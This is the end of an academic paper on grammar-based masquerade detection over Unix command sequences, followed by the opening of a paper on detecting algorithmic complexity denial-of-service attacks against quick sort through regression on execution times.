method with k = 7, is presented in Fig. 3. The general tendency is an increase
in false positives for the same rate of detection. There is clearly a decline of the
detection rates around the 1% false positive rate compared to the main method
with global scripts.

6.3 Command Frequencies Only

Our method is based on repetitive sequences of commands. This sub-section
looks into a simpler version based on the frequencies of the commands for the
user and across all users without taking into account their ordering. We apply a
similar evaluation as function e (see (1)). Namely, for each command c of a block
we use the following equation where fc is the frequency of the command c in the
training data of the user, Fc the across frequency of the command c among all
other 49 users and k is a constant.

v(c) =
fc

fc + Fc

k

(2)
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Fig. 3. ROC curves for our method without using the global scripts (dotted line)
compared to the original main method (solid line)

We sum over all commands of the testing block resulting in one value. The
frequencies, with a maximum of four, of the unseen commands in a block are
negatively added to this value. As the previous method, one global threshold
value is used to classify a testing block. Updating of the frequencies of the user,
not the global ones, is also applied using that threshold.

Figure 4 presents the results for k = 7 by varying the threshold value from
−4 to 70. ECM is better for at least one false positive rate and Naive Bayes is
slightly better. This is also clearly inferior to the main method presented in the
previous section. This shows that the ordering of the commands is important.

7 Failure Analyzes

In this section we analyze some of the erroneous classifications done by our
approach – the main method with k = 7. We believe this shows the limit of
our method but also of the difficulty of improving any method on the Schonlau
datasets.

First, as a general view, Fig. 5 presents histograms of false positives, false
negatives and detected masquerades for different thresholds. These histograms
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Fig. 4. ROC curves using the command frequencies with k = 7 (dotted line) compared
to the original main method with k = 7 (solid line)

give a general idea of the dispersion of false positives and negatives across users.
It also gives a quick view of the users that appear problematic.

For false positives, at threshold 12, user 20 has a very large number of them
compared to the other users. There is a total of 72 false positives, and 30 are gen-
erated by that user. If user 20 were taken out of the statistics at that threshold,
the false positive rate would fall to 0.88% with the same detection rate.

7.1 False Negatives

At threshold 23, user 12 has six false negatives – the largest number for that
threshold. Its testing block 69 has the decomposition presented in Tab. 5; it is
valued at 61.782. It is the first false negative for user 12 with that threshold.
More precisely, for thresholds 20 to 31 it has the value 61.68. The value may
differ with other thresholds since the grammar is updated according to that
threshold. Its value ranged from 55, with thresholds of 50 to 85, to 66.63, with
thresholds of −2 to 19. Essentially, this block, as six others, evaluates to a high
score across all thresholds despite being a masquerade. How can a masquerade
give such a high evaluation?

2 Recall that the maximum value of a decomposition is 100.
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Fig. 5. Combined histograms of false positives (gray), false negatives (black) and de-
tected masquerades (white). The x-axis represents users; the y-axis the number of
blocks

One substring of length 38 has a value of 33.25. By itself, this substring alone
is enough to make it a false negative. The main observation: It occurs 3 times in
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Table 5. The decomposition of testing block 69 of user 12, a masquerade, that evaluates
to 61.78. The Xi nonterminals were generated during the updating of the grammar

Production Rules e(p) lp fp Fp

A → B B 33.25 38 3 3
H → I J 11.32 14 20 33
X1 → X2 X3 K 8.7 23 2 23
C → D E generic 3.61 8 10 85
X5 → L M 3.36 6 2 11
F → G find 0.68 3 37 877
X6 → ls generic 0.68 2 48 460
Skipped substrings: (cat generic) (cat generic ls)

the training data and 3 times for all other users. The evaluation function could
be blamed: it offers no difference between a substring that occurs often or not
for low frequencies across all users. Yet, this block, as six others, really appears
as coming from the legitimate user.

7.2 False Positives

The 46th testing block of user 20 is not a masquerade, although it is evaluated
at −2.21. It is a false positive. Table 6 presents the decomposition of that block.
Only three substrings of length 2 were found in the grammar. The rest of the
block, which mainly contains the substring ‘configure configure configure’,
was skipped since no production expansions were substrings of it. Although, the
command configure was just seen in the previous block. In order to give a higher
value to this block, the individual commands should be taken into account. But
as it was shown in the section on variations of our main method – for command
frequencies only – this would have an overall adversed effect.

Table 7 presents the decomposition of the testing block 6 for user 49, a false
positive. It has value 27.04 – not an extreme case as the previous block. As it can
be seen from the values Fp, the reason for the low score is that the substrings
of block 6 are common among other users. It is difficult to apply any global
approach to avoid such a false positive.

Table 6. Decomposition of testing block 46 of user 20. It is not a masquerade although
its value is very low at −2.21. The block contains the substring configur configur

configur numerous times. The command configur is first seen in the previous block
which has a high evaluation of 80.8

Production Rules e(p) lp fp Fp

A → configur sed 1.59 2 2 25
A → configur sed 1.59 2 2 25
A → configur sed 1.59 2 2 25
Unseen commands: config.g(3), tr(18)
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Table 7. Decomposition of testing block 6 of user 49; its value is 27.04; it is not a
masquerade

Production Rules e(p) lp fp Fp

A → B C D E 14.77 38 2 22
X1 → X2 F 6.08 10 10 45
G → H I 3.53 21 16 553
J → grep echo 1.94 2 5 1
K → L gethost 1.27 4 39 584
M → xwsh sh 0.48 2 5 111
Unseen commands: drag2(3)

8 Computational Cost

The efficiency, or computational cost, of an anomaly detection algorithm is an
important aspect. If it is very costly, it may become useless. Two phases should be
considered for the efficiency of our method: the training phase and the detection
(classification) phase.

For conducting our experiments, the implementations of the Sequitur and
detection algorithms were done using the Scheme language. We compiled the
code using the Bigloo 2.6c compiler on a Red Hat 9 system. All times reported
are for a 2.26GHz, 1GB, Intel Pentium 4 computer.

The generation of the 50 grammars, for user 1 to 50, took 38.3 seconds:
An arithmetic average of 765 milliseconds per user. This includes the time to
read the 5000 commands from a file. Some grammars took longer or shorter to
generate. For example, grammar 30 took only 90 milliseconds to generate. This
is due to the low number of generated production rules – only 42 compared to
the average of 260. The average performance could easily be improved as there
was no effort to implement an efficient Sequitur algorithm.

The classification of a block has two parts: its evaluation and the updating
of the grammar. Over the 50 users and their testing blocks, that is 5000 blocks,
the average time to evaluate and update for one block was 127 milliseconds. For
user 30, the average was 40 milliseconds. Without updating, the average time to
classify a block, over 5000 blocks, was 55 milliseconds.

9 Related Work

In comparing experimental results between methods, we believe it is important
to take into account a major aspect: does the method use local or global profiles
to represent the normal behavior of the users. A global representation is more
complex to implement than a local one. Our method is global while some others
reported in this section are local; although the updating of the profiles for our
method is local.
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Schonlau et al. [6] have reported the results of six methods: Hybrid Multi-step
Markov, Bayes 1-step Markov, Compression, Uniqueness, Sequence-match, and
IPAM. The experimental results are inferior to ECM for all false positive rates.
For example, none of these methods, for the updating case, have a detection
rate superior to 40% for a false positive rate of 1%. Our experimental results are
superior to all of these.

Wang and Stolfo’s work [7] has the advantage of using a local representa-
tion for the normal behavior of a user. It is therefore not a surprise that we
obtain better experimental results. Moreover, the main objective of that work
was to demonstrate that a one-class training was as good as a two-class training
approach.

Ju and Vardi [2] masquerade detection algorithm is based on rare sequences
of commands. There is an instance of the algorithm for each length (e.g. 3, 5).
They call their approach Local Command Pattern (LCP). We believe that the
weakness of LCP is the lack of variable length sequences as used in our approach.
They do not present any particular algorithm to discover the sequences as they
are extracting all sequences of a fixed length. One of the best results is a false
positive rate of 1.11% with a detection rate of 59.74% (for sequences of length 5).

Maxion and Townsend [3] have used the Naive Bayes approach on the Schon-
lau datasets. Such an approach is similar to the command frequencies method
presented in Subsect. 6.3 as it does not take into account the order of the com-
mands but only the probabilities of occurrence of the commands. In general, a
Naive Bayes classifier has to classify sets of observations among a set of cate-
gories. In this case, for each user u, there are two categories: user-u, or not-user-u.
The probability of category user-u given the command c, is denoted p(u|c). It
can be evaluated using Bayes rule, namely p(u|c) = p(c|u)p(u)

p(c) . The probability of

user u emitting command c, that is p(c|u), was evaluated using fc,u+α
5000+αA where

fc,u is the frequency of commands c for user u in its training data, A is the
number of distinct commands in the training data, and α a small constant (e.g.
0.01). The category not-user-u can similarly be evaluated. The two probabilities
are compared to classify a block of commands as either a masquerade or coming
from user u. This approach is global as it refers not only to the user command
frequencies but also to the frequencies for all other users. It also uses updat-
ing during detection. Their experimental results with the Schonlau datasets are
good. For example, they report as one of their best results a false positive rate
of 1.3% with a detection rate of 61.5%. Our method has a lower false positive
rate, namely 0.85% (for k = 7), at such a detection rate. From their ROC curve
published in [3], we conclude that our method has a higher detection rate for all
false positive rates.

Coull et al. [1] use techniques from bioinformatics to detect masqueraders.
Although the approach is innovative and the representation of the user behavior
is local, the experimental results are not convincing. For example, they consider
that one of their best results is a detection rate of 75.8% with a false positive
rate of 7.7%; at such a detection rate, our method has a much lower false positive
rate, namely 1.8% (for k = 7).
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Oka et al. [5] designed a method called Eigen Co-occurrence Matrix (ECM)
for anomaly detection. It is based on Eigen face recognition techniques. The
method is global but the experimental tests were done using only local profiles.
The computational cost appears high but this is probably due to their implemen-
tation technique. The results obtained are the bests published for local profiles.
We have extensively compared the results of this method with ours in the ROC
curves of Sect. 5 and 6 – our results are even better at all false positive rates.
We believe this is mainly due to the global representation of our approach.

10 Conclusion

Our masquerade detection method based on repetitive sequences of commands
was shown to be effective on the Schonlau datasets. As far as we know, the
experimental results reported in this paper are superior to all published results
based on the Schonlau datasets. More precisely – for all false positive rates –
the detection rate is higher than all published methods, known to the author,
for that datasets.

Our approach is quite efficient by using the Sequitur algorithm which is linear
on the length of the training data. This could be completed with a more efficient
data structure to store the discovered repetitive sequences.

Our method has the advantage of full control over the false positive rates. A
unique global threshold can be varied to increase or decrease it – even below 1%.

We also believe our method naturally fits its environment. For instance, the
global scripts correspond to a clear identifiable operational reality of the com-
puting environment. If some of them were known, our algorithm could easily be
improved by relying less on our heuristic to guess them.
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Abstract. Denial of Service (DoS) attack has been identified in security surveys 
as the second largest cause of monetary loss. Hence, DoS is a very important 
problem that needs to be dealt with seriously. Many DoS attacks are conducted 
by generating extremely high rate traffic; these are classified as flooding at-
tacks. Other DoS attacks, which are caused by resource consumption, belong to 
the so-called logic attacks category, one such example is algorithmic complex-
ity attack. Complexity attacks generate traffic containing data, which exploits 
the working principle of the algorithms running on a machine. In such an attack, 
a request imposes worst-case execution time on a resource and repeatedly re-
uses the same resource for further services. In this paper, we propose a regres-
sion analysis based model that can prevent algorithmic complexity attacks. We 
demonstrate our model on quick-sort algorithm.  

1   Introduction 

In practice, it is very difficult to find actual statistics about the total number of re-
ported algorithms’ complexity vulnerabilities. Actually, there are several incidents re-
ported in vulnerability databases, which are in fact complexity attacks, but were not 
reported under this category. The “Common Vulnerabilities and Exposures” database 
(cve.mitre.org) include several examples of such vulnerabilities.  

There are two types of complexity related to an algorithm: time complexity and 
space complexity. Time complexity of an algorithm refers to the required time for 
executing the algorithm expressed in terms of input size. Space complexity refers to 
the space requirement for executing a process or request. 

Generally, algorithmic complexity attack is possible when the corresponding algo-
rithm has data dependent complexity, and a system accepts requests of this type [1]. 
For this attack to be successful, several such inputs should be accepted by the system 
within a certain time interval. Specifically it has been a common belief that algo-
rithmic complexity attack is possible only in case of deterministic algorithms. Ran-
domized versions of algorithms were commonly used to design software patches for 
such vulnerabilities. But recently, it has been shown in [2] that algorithmic complex-
ity attack is possible even with randomized algorithms. Therefore, instead of only re-
lying on attack prevention using randomized version of an algorithm, we propose in 
this paper an alternative approach that combines detection followed by dropping of an 
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attack. Our proposed model focuses specifically on pinpointing requests generated 
through time complexity-based attacks. 

Many software implementations use hash tables to provide fast information storage 
and retrieval operations. Many systems use regular expressions for parsing and 
matching inputs. The preferred sorting algorithm for large amount of data is quick 
sort. Unfortunately, exploiting these popular algorithms using malicious inputs could 
possibly generate complexity attacks. Furthermore, detector like snort uses pattern 
matching to detect misuse [7]. Such a detector is used in network based intrusion de-
tection systems and is prone to complexity attacks as well.  

Although our model is developed keeping other algorithms in mind, in this paper 
we use only the quick sort algorithm to illustrate and evaluate our model. The rest of 
the paper is organized as follows. In Section 2, we give an overview on algorithmic 
complexity attacks. In Section 3, we present our detection model and motivate the ra-
tionale behind it. In Section 4, we present and discuss the evaluation of our model. In 
Section 5, we present and discuss related works. Finally, in Section 6, we conclude 
our work. 

2   Generation of Complexity Attacks and Protection 

It is possible to craft algorithmic complexity attack, when the average case complex-
ity of an algorithm is much lower than the worst-case time or space complexity. As 
for example, average case time complexity of quick sort is O(nlogn), whereas worst 
case time complexity of quick sort is ( )2nO . So, it is possible to bog down the CPU 
with small number of maliciously crafted inputs for quick sort running with root 
privilege. 

Deterministic algorithms are the most vulnerable to complexity attacks, mainly be-
cause their execution times depend on inputs properties, and there are some inputs, 
which always show worst-case performance. Using randomization, worst-case per-
formance can be avoided with high probability. For most of the inputs, a randomized 
algorithm shows average case complexity. Consequently, as indicated earlier, until re-
cently the most common solution adopted against complexity attacks had consisted of 
replacing deterministic algorithms with randomized versions. Likewise, successful at-
tacks against randomized algorithms are very difficult to implement. It is difficult to 
find an input that produces worst-case complexity. The time complexity depends both 
on the input as well as the internal state of an algorithm; furthermore the internal state 
is unknown to an attacker. Some random number generators can be used to control 
this internal state. For instance, 

• In case of quick sort, randomization is introduced by selecting a random pivot 
or median of several elements.  

• In case of hashing, randomization can be introduced by applying universal 
hash functions.  

The execution time depends on the internal state (like selection of pivot or choice 
of hash function) of an algorithm. As the internal state varies, it is very difficult for an 
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attacker to learn the internal state and create accordingly an input with worst-case 
complexity. In case where a suitable input causing worst-case performance is found, 
the same input may not show worst-case performance in the next round. So although 
there are some inputs causing worst-case performance for randomized algorithms, 
chance of occurrence of such inputs under normal circumstances is very low. Gener-
ally this makes creation of complexity attacks for randomized algorithms very diffi-
cult. So, under randomization, we can drop a request that consumes more than typical 
execution time with a probability close to one without worrying too much about drop-
ping a legitimate request. But for deterministic algorithms, some normal inputs as 
well as attacks may take longer time than what is typical. For such cases, to reduce 
the risk of dropping legitimate requests, we have to set the drop probability to a value 
that is less than one on average.  

One drawback of adopting randomized version of an algorithm, as protection 
against complexity attack is the inherent lack of flexibility of this approach. As a mat-
ter of fact, it is argued in the Python discussion group that many people, who use hash 
function for storing and retrieving data in a persistent storage, do not like changing 
hash function during every execution of a process. As this frequent change in hash 
function makes record retrieval extremely difficult. 

Moreover, as indicated earlier, it has been shown in [2] that successful complexity 
attacks are still possible with randomized algorithms. On top of that, randomized al-
gorithms for some problems produce approximate results only, instead of the accurate 
one. One such example is randomized pattern matching. So randomization is not al-
ways the best solution against complexity attack. 

The approach proposed in this paper is an alternative to randomization. Our detec-
tor tries to detect and drop attacks by simply using local system information and re-
gression analysis.  

3   Detection Model 

3.1   Approach 

Several features can be used to detect and predict complexity attacks, including size 
of input to the algorithm, request service time, time of day, and so on. Detection or 
prediction typically might involve checking, for instance, the likelihood of input size, 
or the likelihood that several less probable inputs will occur within a certain time in-
terval, or the likelihood of particular service time for a request.  

Request service time corresponds to the time span during which a request is receiv-
ing or going to receive service from a resource such as the CPU or the disk. The ser-
vice time is a component of the response time. We know that the response time of a 
request is the time between the submission of the request and getting its response. The 
other component of response time is the waiting time. Given a request, the response 
time is computed as the sum of the waiting time and the service time. The waiting 
time is the time during which a request is waiting in a queue to access a resource.  

We have to make sure that the span of the time slot over which a request is getting 
service from the resource during each visit to the resource is greater than or equal to 
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the minimum acceptable value of the required service time. Otherwise an attacker can 
trick the detector to drop a normal request. This is possible by causing unnecessary 
task switches without the CPU being able to do the actual work in the time slot allo-
cated to a request. Request service time can be checked using one of the two ap-
proaches: 

1. During actual execution or  
2. Before execution begins (by using deep input property checking and length 

look ahead).  

The first solution is referred to as delayed drop, whereas the second approach is 
defined as early drop. Scanning input property for length look-ahead may involve ex-
ponential complexity for some algorithms. Unless we can find linear or sub-linear 
time algorithm for this step, we should not use length look-ahead and early drop. In 
other words, to avoid slowing down of normal requests as much as possible, we use in 
this paper, delayed drop instead of early drop. 

Specifically, we fit historical information of execution time and input characteristic 
of the request to establish the regression equation. We do this curve fitting offline. In 
case of delayed drop scheme, we drop a request during test execution if it is not com-
pleted within a dynamically computed threshold from the fitted curve. This means 
that under delayed drop scheme, initially we allow both normal requests and attacks 
to run for some time. But in case of early drop, we scan the input for particular prop-
erty and predict its execution time before the actual execution begins. If the predicted 
time is atypical, then we probabilistically drop the request without giving it any 
chance of getting service. 

3.2   Model Definition 

A model for the prevention of algorithmic complexity attacks consists of computing 
for each request the tuple <ExecutionTime, rp >, in which ExecutionTime represents 

the estimated execution time of the request and rp  denotes the drop probability or 

abnormality index of a request, in case the request does not finish within the estimated 
time. After determining the execution time and sampling the already consumed ser-
vice time, we look at corresponding probability ( rp ) to drop or allow the request to 

have further service. The probability can be fixed or dynamically computed from the 
system states. 

After initial analysis with hashing, regular expressions, and quick sort algorithms, 
we found that there are four factors, which determine the execution time. The four 
factors are as follows: the inputs’ properties or characteristics where inputs are pa-
rameters or values passed to the algorithm, the objects involved such as the data struc-
tures used by the algorithm, the state of the objects (except the input) relevant to the 
algorithm, and the name of the algorithm itself or corresponding pointer. Accordingly 
our model for estimation of execution time is defined as follows: 

( ) .algorithm,,,_ stateobjectsticscharacteriinputfimeExecutionT =  (1) 
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We compute execution time estimate using regression analysis.  As the time re-
quirement of one algorithm is different from another, our model produces different 
regression polynomials for different algorithms. The name of the algorithm is impor-
tant to locate relevant polynomial and associated coefficients during test runs. As for 
example, for "ls" command: 

• Input characteristics are the semantics of arguments or flags, and correspond 
to a tuple, which consists of all relevant input properties. 

• Object is the directory structure.  
• State is the present contents of the directory structure.  
• Algorithm is the logic of "ls" program.  

Execution time of "ls" may vary based on state and flags. For hashing, input is 
the element to be indexed, object is the hash table, state indicates how much ele-
ments are stored in some bucket or in its link list extension. Amount of collision 
during insertion into the hash table and correspondingly the execution time depends 
on the state or how much of the hash table is filled. For length prediction or early 
drop, characteristics of input submitted to quick-sort are number of elements to sort 
and the amount of relative disorder among elements. For delayed drop, characteris-
tic of the input submitted to quick-sort is the number of element to sort. But there is 
no state information, which is relevant to the estimation of execution time for this 
algorithm. So, under the delayed drop scheme, for GLIB’s quick sort algorithm we 
have (from equation 1): 

( )"___",,,_ datawithqsortgsticscharacteriinputfimeExecutionT −−=   

We use “-” at the second and third positions in the above equation to indicate that 
we do not care about those two factors for this particular algorithm.  

As the versions of GLIB available in the Internet use randomized quick sort algo-
rithm, according to the discussion made in section 2, we set rp  to 1 for such algo-

rithms. In addition, to evaluate our model on deterministic quick-sort algorithm, we 
have written a deterministic version ourselves. For such algorithms we set rp  to dif-

ferent values in the range of 0 to 1.  

4   Evaluation 

4.1   Settings 

We evaluated our model for quick sort algorithm running on a Pentium 350 MHz ma-
chine, which uses Fedora Core 1 as the operating system. We did two types of proc-
essing: offline and online. For offline processing we used Linux “time” command to 
collect execution times for an algorithm. Offline processing was used to generate 
thresholds and to find out regression coefficients as well as to label an already com-
pleted test execution as normal or attack. After we had become satisfied with our re-
sults from offline processing, we tested our model online to see whether we were able 
to drop attacks or not. Let us assume that “pid” is the id of a process during its execu-
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tion. For online processing and protection against attacks, we used a program with 
root privilege, which scanned the /proc/pid/stat file to find out the service time that a 
process had already consumed during its execution.  

Basic and traditional quick sort algorithm takes quadratic time ( ( )2nO ) to work 

on an already sorted input, as mentioned in many books on algorithms. So, the quick 
sort algorithms provided by GNU C and GLIB were modified keeping this problem in 
mind. Instead of selecting a fixed element as a pivot, GLIB’s (versions 2.2 and later) 
quick sort function uses set of several elements to pick a pivot. After this modifica-
tion, the particular version of Glib quick-sort (2.2) that we used to test our model took 
less time for any already sorted input. So, traditional way of crafting malicious input 
data, which requires service time that is quadratic in input size, is no longer possible 
with the modified algorithm. Specifically, this modification makes crafting malicious 
input with worst-case complexity very difficult. Despite these modifications, these al-
gorithms are still vulnerable to complexity attacks. It is shown in [2] that the GLIB 
quick sort algorithm uses user supplied comparison function, which is easy to ma-
nipulate to demonstrate worst-case performance of the sorting algorithm.  

4.2   Regression Analysis 

For training, we ran GLIB’s quick sort function “g_qsort_with_data” with root privi-
lege. We varied the number of elements n from 0 to 3,000,000. The elements to sort 
were randomly generated. We collected CPU times spent for the process in system 
and user modes. We collected twenty-five samples of execution times (summation of 
system and user times) for each value of n. We then chose the maximum observed 
execution time for each value of n. As the time measured was inaccurate, to be con-
servative, we added Z% of each sample maximum execution time for a particular n to 
the corresponding sample value. We varied Z from 10% to 50% in an increment of 
10; we refer to the rate of increase (Z*0.01) as the “adjustment factor (r)” and the cor-
responding outcome as the adjusted execution time. We then fit the values of n versus 
corresponding adjusted execution times to a polynomial. In test runs, we estimated 
execution time for any observed n using the polynomial. During test run, if the total 
service time received so far by a process or request exceeds the estimate computed 
from the fitted polynomial then we may mark the request as anomalous and drop it. 
We adjusted the execution times before curve fitting – this reduces the chance of 
premature dropping of requests.  

We used MATLAB’s Polyfit function to get coefficients of the curve fitted to n 
versus adjusted execution time. Beforehand, we plotted number of elements versus 
execution time to have an idea about the degree of the polynomial, which can be the 
best fit for the data. We placed normalized number of elements to sort in x-axis and 
corresponding adjusted execution times in y- axis. We found that, the curve is piece-
wise linear over the values of n. To be more specific, below we give description of 
our method of curve fitting for r = 0.4. After trial and error we found that 6th degree 
polynomial can correctly predict execution time that is larger than the most likely re-
quired execution time; this polynomial is suitable for all values of n. To be more  
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efficient, it is better to use polynomial of lower degree whenever possible. After ana-
lyzing further we found that a polynomial of degree less than six is not suitable for 
lower values of n, where n 999,24≤ . So for n lower than or equal to 24,999, we can 
either ignore the input, or set a fixed execution time as a drop threshold, or use 6th de-
gree polynomial to estimate the execution time. Complexity attack imposed by input 
of this size may not be strong. So, to save the time, when the number of elements is 
less than 24,999, it may be a good idea to set a fixed conservative threshold, instead 
of computing service demand from a 6th degree polynomial.  

 

Fig. 1. Number of elements to sort versus (a) observed execution time (r = 0.4) and (b) fitted 
curve of degree one for the adjusted data  

We found that for r = 0.4, if the number of elements to sort is greater than or equal 
to 70,000, then the 1st degree polynomial is good at predicting the execution time. We 
assigned a fixed threshold for any n less than 70,000. For n greater than or equal to 
70,000, we used a first-degree polynomial to determine the threshold. The fixed 
threshold is determined as follows. Let us assume that 0n  is the minimum value of n 

in the training set, whose execution time can be estimated from a first-degree poly-
nomial and the estimation is conservative. We find out the maximum of the most 
likely execution times observed during normal system operations for inputs of size 

0n . We then adjust this maximum using r and denote the value by maxT . maxT is set 

as the fixed threshold. Using this concept, we find that for r = 0.4, the value maxT  is 

0.252 seconds. 
For first-degree polynomial we have the formula: 

CXMY +×=  . (2) 

Where X is the normalized number of elements (n) to sort and Y is the predicted exe-
cution time. As the range of n is very large, without normalization polyfit produces 
zeros as the values for most of the coefficients - which is incorrect. To normalize, we 
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Table 1. Fixed thresholds and fitted first-degree polynomial to compute thresholds for different 
adjustment factors 

(a) Information to determine threshold for (r = 0.1) 

Number of elements 
To sort (n) 

Threshold or Polynomial to 
compute threshold 

000,1050 <≤ n  0. 308 

000,105≥n  .0752.02926.10 −×= XY  

(b) Information to determine threshold for (r = 0.2) 

Number of elements 
To sort (n) 

Threshold or Polynomial to 
compute threshold 

000,700 <≤ n  0. 216 

000,70≥n  .0762.02185.11 −×= XY  

(c) Information to determine threshold for (r  = 0.3) 

Number of elements 
To sort (n) 

Threshold or Polynomial to 
compute threshold 

000,700 <≤ n  0. 234 

000,70≥n  .0728.01337.12 −×= XY  

(d) Information to determine threshold for (r = 0.4) 

Number of elements 
To sort (n) 

Threshold or Polynomial to 
compute threshold 

000,700 <≤ n  0. 252 

000,70≥n  .0991.01055.13 −×= XY  

(e) Information to determine threshold for (r = 0.5) 

Number of elements 
To sort (n) 

Threshold or Polynomial to 
compute threshold 

000,550 <≤ n  0. 21 

000,55≥n  .0839.00005.14 −×= XY  

 
 
have to divide the actual number of elements n by 3,000,000. As the normal execution 
time values (Y) span over a small range, we don’t need to normalize these values be-
fore curve fitting. Using Polyfit for all the training data, we obtain M = 13.1055 and  
C = -0.0991. During test runs, by putting the value of X in equation (2), we estimate 
the value of the most likely execution time Y. 

Fig. 1 shows the first-degree polynomial fitted to the data related to the randomized 
version of quick-sort. Only subsets of the data are shown, otherwise it becomes very 
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difficult to grasp the difference between actual points and their estimated values. The 
plot over the first few points shows that for low values of n, estimated times are less 
than the corresponding actual values of the observed execution times (before adjust-
ment) – which indicates that the first degree polynomial is not good for all values  
of n. 

In Table 1, we present fixed thresholds for lower values of n and polynomials fitted 
to the adjusted execution time data for higher values of n. The information presented 
in this table is for the randomized quick-sort algorithm. As mentioned previously, 
the value of X used as an input to each polynomial is the normalized number of ele-
ments n. The value of Y is the estimate of typical execution time for that X. 

4.3   Validation Results 

Randomized Algorithm. Table 2 shows the estimated and observed values for nor-
mal executions of the quick-sort algorithm for r = 0.4. In the table, the estimated exe-
cution time is the time such that after getting actual service during this amount of 
time, corresponding request should complete. In case of a complexity attack, the ma-
licious request would require more than the estimated time. As a consequence, based 
on whether the request takes slightly longer than the estimated time or not, we can 
easily and safely drop an attack with little or no drop of legitimate requests. 

Table 2. Predicted and observed values for normal execution of quick-sort algorithm  for r=0.4 

Number of 
Elements 

(n) 

Maximum Actual required 
time (seconds) 

Estimated required time us-
ing Table 1(d) 

(seconds) 
5,000 0.01 0.252 

50,000 0.12 0.252 
… … … 

5,000,000 16.42 21.7434 

For legitimate inputs with 5,000,000 data, the execution time estimated from the 
polynomial presented in Table 1(d) is 21.7434 seconds, but the observed maximum 
value of actual execution time is 16.42 seconds. So our prediction is conservative in the 
sense that it does not cause the detector to prematurely drop a request before it has re-
ceived required service time from the CPU. But, we have already mentioned that there 
may be few legitimate inputs for deterministic algorithms, for which the required execu-
tion time may be larger than the conservative time. For this reason, we need to incorpo-
rate probabilistic drop. Our execution time based detector can successfully pinpoint and 
drop complexity attacks early (at time, which is less than the actual completion time for 
the attack) depending on the strength of the attack and the frequency of sampling (to get 
information about already consumed service time by requests). 

Table 3 shows predicted typical execution times for values of n as well as actual at-
tack completion times for the same values of n. The predicted time is computed using 
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Table 3. Predicted typical execution times with adjustment factor r = 0.4 and observed attack 
execution times for different values of n 

Number of 
elements 

(n) 

Predicted time for 
normal execution 

(seconds). 

Required actual exe-
cution time for attack 

input  (seconds). 
100 0.252 0.01 

1,000 0.252 0.01 
5,000 0.252 0.46 
5,600 0.252 0.62 

10,000 0.252 1.95 
50,000 0.252 61.78 

150,000 0.4394 344.02 

 
information presented in Table 1(d). As we set rp  to one, we can mark any request as 
an attack whose already consumed service time significantly exceeds corresponding 
predicted value. Based on the data presented in column 2 and 3, it is easy to see that 
we are unable to detect the two attacks with input sizes 100 and 1000. These are false 
negatives. Anyway these attacks are not strong enough and it is not a serious problem 
if we fail to detect them as long as they arrive at a low rate (no flooding). 

Let us denote by Nt, the minimum value of n in the test run such that if an attack 
has an input size, which is greater than or equal to this value, then we are always able 
to detect the attack. For offline analysis, the value of Nt depends on the fixed thresh-
old only. Table 4 shows the information related to FP and Nt. For r = 0.4, we find that 
false negatives happen for n<11,500. So, Nt is 11500. In the same vein, by increasing 
the sampling rate we might be able detect more attacks online.  So, FN (%) is not a 
useful measure, because that really depends on the fixed threshold, input size and 
sampling rate (for an online algorithm). During tests, our model did not mistakenly 
declare any normal execution as attack. So, there was no false positive. 

Table 4. Information regarding false positive (FP) and value (Nt) of n for which no false 
negative happens for different values of the adjustment factor r (offline analysis) 

Adjustment 
Factor (r) 

FP (%) Nt 

0.1 0 13000 
0.2 0 10500 
0.3 0 11000 
0.4 0 11500 
0.5 0 10500 

Slow down caused by each estimation of execution time using a first-degree poly-
nomial (shown in Table 1) is 0.0048 microseconds.  

Deterministic Algorithm. In general the average case timing requirement for the de-
terministic algorithm is much lower than the average execution time of the random-
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ized algorithm dealing with an input of the same size. The regression analysis part for 
the deterministic algorithm is similar to the one used for the randomized algorithm. 
So, in this section we don’t re-iterate the analysis. Instead, we want to have a look at 
what is different – specifically the drop probability and drop policy. Let us use the 
term non-conforming request to indicate that the request does not finish within the av-
erage execution time for that input size. Drop probability indicates - what is the 
chance that a non-conforming request (legitimate or attack) will be dropped. Drop 
policy indicates the rule about whom to drop. We evaluated our model with two dif-
ferent drop policies, namely "drop all" and "random drop". Under the first policy, all 
nonconforming requests are dropped, whereas under the second policy, a non-
conforming request is dropped with an arbitrarily selected drop probability or a dy-
namically computed one from the system state. Note that the "random drop" policy 
with rp  set to 1 is equivalent to the "drop all" policy. We wanted to evaluate the per-
formance of the two policies apart from its dependency on the input size distributions 
and the sampling rate. So we used a particular input size of 40,000 and a sampling 
rate of 1 Hz. We set the normal arrival rate of the system at 5 requests/second.  Ninety 
nine percent of these requests have data distributions, which impose average case 
complexity on the CPU, where as, the remaining 1 percent of the requests has worst-
case complexity. We collected data from thirty normal sessions in the presence of in-
termittent attack sessions. The normal execution session had duration of 1 minute. We 
had five attack sessions, each with duration of 5 seconds. The five attack sessions 
started after five, fifteen, thirty, forty, and fifty seconds respectively from the starting 
time of the normal session. In each attack session, attack requests arrive at a rate of 4 
requests/second. The term false positive is not very useful here, as the number of false 
positives depends on the ratio of the number of nonconforming requests with the 
number of normal requests during normal system operations. So, we introduce the 
term wrong drop rate (WDR) in addition to the right drop rate or detection rate (DR), 
and give the following definitions: 

.
attacks ofnumber  Total

attacks dropped ofnumber  Total

.
requests ingnonconform legitimate ofnumber  Total

requests ingnonconform legitimate dropped ofnumber  Total

=

=

DR

WDR

 

 

Use of arbitrary values for the drop probability either increases or decreases the 
values of both WDR and DR at the same time, as depicted in Fig 2. So, both attacks 
and legitimate nonconforming requests are dropped at the same rate. If we use no 
other information like remaining share for the user, input size distribution etc., then 
we cannot achieve lower WDR and higher DR. 

To improve the DR and reduce the WDR, in another setting, we computed dy-
namic drop probabilities based on the resource shares of the users.  We simulated a 
system with four user accounts – three for known users and one for all the anonymous 
users. We assigned resource share required for a user over an observation period at 
the beginning of the observation. This allocation is done based on previous observa  
 

-
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Fig. 2. Straight line fitted to drop probabilities (arbitrary values) versus drop rates under ran-
dom drop policy 

tions of normal system operations. We dynamically set the drop probability to a value 
based on the ratio of the remaining resource share of a user with respect to the re-
source share available for him at the beginning of the observation period. In addition, 
the drop probability depends on how many non-conforming requests may normally 
appear in an observation period (based on the training data set) and how many have 
been actually observed so far in the test observation. If the drop probability is com-
puted from the above-mentioned information then on average, we see a decrease in 
the WDR and an increase in DR, instead of both the rates being equal. We still need 
to do a more detail evaluation of the dynamic drop probability scheme. 

5   Related Works 

Though there are several vulnerabilities reported, which are related to algorithms’ 
time complexity, so far there is only one research paper by Crosby [1] and two tech-
nical reports [4][7] dealing with protection, and some vendors’ white papers related to 
patches for fixing the problems. One of the reasons behind this situation is the com-
mon belief that it is much easier to create flooding attacks than complexity attacks, so 
